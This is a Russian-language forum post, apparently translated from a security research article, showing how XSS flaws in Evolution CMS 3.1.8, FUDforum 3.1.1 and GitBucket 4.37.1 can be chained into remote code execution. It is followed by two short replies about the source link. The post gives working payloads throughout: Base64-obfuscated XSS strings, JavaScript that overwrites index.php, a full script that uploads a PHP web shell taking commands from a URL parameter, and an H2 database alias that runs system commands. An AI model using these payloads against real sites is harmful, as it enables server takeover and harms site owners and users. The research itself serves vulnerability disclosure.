• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Поиск RCE через XSS в приложениях с открытым исходным кодом

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Оригинальная статья
Переведено специяльно для xss.pro
Камнями кидать в Jolah Milovski

1659752962032.png



Межсайтовый скриптинг (XSS) — одна из наиболее часто встречающихся атак в веб-приложениях. Если злоумышленник сможет внедрить код JavaScript в вывод приложения, это может привести не только к краже cookie, перенаправлению или фишингу, но и в некоторых случаях к полной компрометации системы.


В этой статье я покажу, как добиться удаленного выполнения кода через XSS на примерах Evolution CMS, FUDForum и GitBucket.


Evolution CMS v3.1.8


Ссылка: https://github.com/evolution-cms/evolution
CVE: в ожидании

Evolution CMS позиционирует себя как самую быструю и настраиваемую PHP CMS с открытым исходным кодом в мире.
В Evolution CMS я обнаружил неэкранированное отображение контролируемых пользователем данных, что приводит к возможности отраженных XSS-атак:

1659753071540.png

manager/views/page/user_roles/permission.blade.php


1659753164179.png

manager/views/page/user_roles/user_role.blade.php


1659753192439.png

manager/views/page/user_roles/permissions_groups.blade.php

А вот и полезная нагрузка подъехала:

Код:
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=alert(document.domain)%3E

Если авторизованный в системе администратор перейдет по ссылке или кликнет по ней, то в браузере администратора будет выполнен код javascript:

1659753292070.png


В админ панели Evolution CMS, в разделе файлового менеджера, администратор может загружать файлы.
Проблема в том, что он не может загружать файлы php, однако может редактировать существующие.
Мы приведем пример кода javascript, который перезапишет файл index.php с помощью phpinfo():

JavaScript:
$.get('/manager/?a=31',function(d) {
  let p = $(d).contents().find('input[name=\"path\"]').val();
  $.ajax({
    url:'/manager/index.php',
    type:'POST',
    contentType:'application/x-www-form-urlencoded',
    data:'a=31&mode=save&path='+p+'/index.php&content=<?php phpinfo(); ?>'}
  );
});

Еще одна полезная нагрузка на JavaScript закодированная в Base64:

Код с оформлением (BB-коды):
https://192.168.1.76/manager/?a=35&id=1%22%3E%3Cimg%20src=1%20onerror=eval(atob(%27JC5nZXQoJy9tYW5hZ2VyLz9hPTMxJyxmdW5jdGlvbihkKXtsZXQgcCA9ICQoZCkuY29udGVudHMoKS5maW5kKCdpbnB1dFtuYW1lPSJwYXRoIl0nKS52YWwoKTskLmFqYXgoe3VybDonL21hbmFnZXIvaW5kZXgucGhwJyx0eXBlOidQT1NUJyxjb250ZW50VHlwZTonYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyxkYXRhOidhPTMxJm1vZGU9c2F2ZSZwYXRoPScrcCsnL2luZGV4LnBocCZjb250ZW50PTw/cGhwIHBocGluZm8oKTsgPz4nfSk7fSk7%27))%3E

В случае успешной атаки на авторизованного в системе администратора файл index.php будет перезаписан кодом, который злоумышленник разместил в полезной нагрузке. В данном случае это вызов phpinfo():

1659753534904.png

Достижение удаленного выполнения кода с помощью отраженного XSS в Evolution CMS v3.1.8

FUDforum v3.1.1​

Ссылка: https://github.com/fudforum/FUDforum
CVE: ожидается
FUDforum — супербыстрый и масштабируемый. Он легко настраивается и поддерживает неограниченное количество участников, форумов, сообщений, тем, опросов и вложений.
На FUDforum я обнаружил неэкранированное отображение контролируемых пользователем данных в имени вложения в личном сообщении или теме форума, что позволяет выполнить хранимую XSS-атаку. Прикрепите и загрузите файл с названием: <img src=1 onerror=alert()>.png . После загрузки этого файла код javascript будет выполнен в браузере:


1659753907719.png

Эксплуатация XSS-уязвимости в FUDforum v3.1.1

В админке FUDforum есть файловый менеджер, который позволяет загружать файлы на сервер, в том числе файлы с расширением php.
Злоумышленник может использовать сохраненный XSS для загрузки php-файла, который может выполнить любую команду на сервере.
Уже есть публичный эксплойт для FUDforum, который с помощью javascript-кода загружает php-файл от имени администратора:

Код:
const action = '/adm/admbrowse.php';

function uploadShellWithCSRFToken(csrf) {
  let cur = '/var/www/html/fudforum.loc';
  let boundary = "-----------------------------347796892242263418523552968210";
  let contentType = "application/x-php";
  let fileName = 'shell.php';
  let fileData = "<?=`$_GET[cmd]`?>";
  let xhr = new XMLHttpRequest();
  xhr.open('POST', action, true);
  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=" + boundary);
  let body = "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="cur"\r\n\r\n';
  body += cur + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="SQ"\r\n\r\n';
  body += csrf + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="fname"; filename="' + fileName + '"\r\n';
  body += "Content-Type: " + contentType + "\r\n\r\n";
  body += fileData + "\r\n\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="tmp_f_val"\r\n\r\n';
  body += "1" + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="d_name"\r\n\r\n';
  body += fileName + "\r\n";
  body += "--" + boundary + "\r\n";
  body += 'Content-Disposition: form-data; name="file_upload"\r\n\r\n';
  body += "Upload File" + '\r\n';
  body += "--" + boundary + "--";
  xhr.send(body);
}
let req = new XMLHttpRequest();
req.onreadystatechange = function() {
  if (req.readyState == 4 && req.status == 200) {
    let response = req.response;
    uploadShellWithCSRFToken(response.querySelector('input[name=SQ]').value);
  }
}
req.open("GET", action, true);
req.responseType = "document";
req.send();

Теперь злоумышленник может написать личное сообщение самому себе и прикрепить упомянутый эксплойт в виде файла. После того, как сообщение было отправлено самому себе, необходимо получить путь к размещенному на сервере javascript-эксплойту:

Код:
index.php?t=getfile&id=7&private=1

Следующим шагом является подготовка полезной нагрузки javascript, которая будет выполняться с помощью сохраненного для этого файла с кодом для атаки XSS. Суть полезной нагрузки заключается в том, чтобы получить ранее размещенный эксплойт и запустить его:

Код:
$.get('index.php?t=getfile&id=7&&private=1',function(d){eval(d)})

Осталось собрать все воедино, чтобы сформировать полное имя вложенного файла в личных сообщениях. Мы закодируем собранную полезную нагрузку javascript в Base64:

Код:
<img src=1 onerror=eval(atob('JC5nZXQoJ2luZGV4LnBocD90PWdldGZpbGUmaWQ9NyYmcHJpdmF0ZT0xJyxmdW5jdGlvbihkKXtldmFsKGQpfSk='))>.png

После того, как администратор прочитает личное сообщение, отправленное злоумышленником с вложенным файлом, на сервере от имени администратора будет создан файл с именем shell.php, который позволит злоумышленнику выполнять произвольные команды на сервере:

1659754175453.png

Приплыли! Достижение удаленного выполнения кода с помощью сохраненного XSS в FUDforum v3.1.1

GitBucket v4.37.1​


Link: https://github.com/gitbucket/gitbucket
CVE:ожидается

GitBucket — это платформа Git на базе Scala, отличающаяся простотой установки, высокой расширяемостью и совместимостью с GitHub API.
В GitBucket я обнаружил неэкранированное отображение имени задачи, контролируемой пользователем, на домашней странице и странице профиля злоумышленника ( /hacker?tab=activity), что приводит к сохраненному XSS:

1659754292042.png


Реализуя сохраненную XSS-атаку, можно попытаться использовать ее для выполнения кода на сервере. В панели администратора есть инструменты для выполнения SQL-запросов — Просмотр базы данных.
GitBucket по умолчанию использует движок базы данных H2 . Для этой базы данных существует общедоступный эксплойт для удаленного выполнения кода.
Итак, все, что нужно сделать злоумышленнику, — это создать PoC-код на основе этого эксплойта, загрузить его в репозиторий и использовать во время атаки:

Код:
var url = "/admin/dbviewer/_query";
$.post(url, {query: 'CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : ""; }$$;'
})
.done(function(data) {$.post(url, {query: "CALL EXECVE('touch HACKED')"})})

1659754383982.png

Загрузка PoC-кода для использования хранимой XSS в репозитории H2 Database Engine.

Теперь осталось выполнить сохраненную XSS-атаку с загруженным ранним эксплойтом:

Код:
ssue 1"><script src="/hacker/Repo1/raw/f85ebe5d6b979ca69411fa84749edead3eec8de0/exploit.js"></script>

1659754534607.png


Когда администратор посещает страницу профиля злоумышленника или главную страницу, от его имени будет выполнен эксплойт и HACKED файл будет создан на сервере:

1659754574992.png


Выводы​

Мы продемонстрировали, что низкоквалифицированный злоумышленник может легко добиться удаленного выполнения кода с помощью атаки XSS в нескольких приложениях с открытым исходным кодом.
 
Старенький материал, но вполне годно, судя по ссылкам в тексте примерно 4 года https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
ТС, ты кажется что-то перепутал, ссылка на оригинальную статью ведет на другой адресс, там совсем другая статья, или я что-то не так понял
 
Старенький материал, но вполне годно, судя по ссылкам в тексте примерно 4 года https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed
ТС, ты кажется что-то перепутал, ссылка на оригинальную статью ведет на другой адресс, там совсем другая статья, или я что-то не так понял
https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/ - вот оригинал, путанул ссылку, точно
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх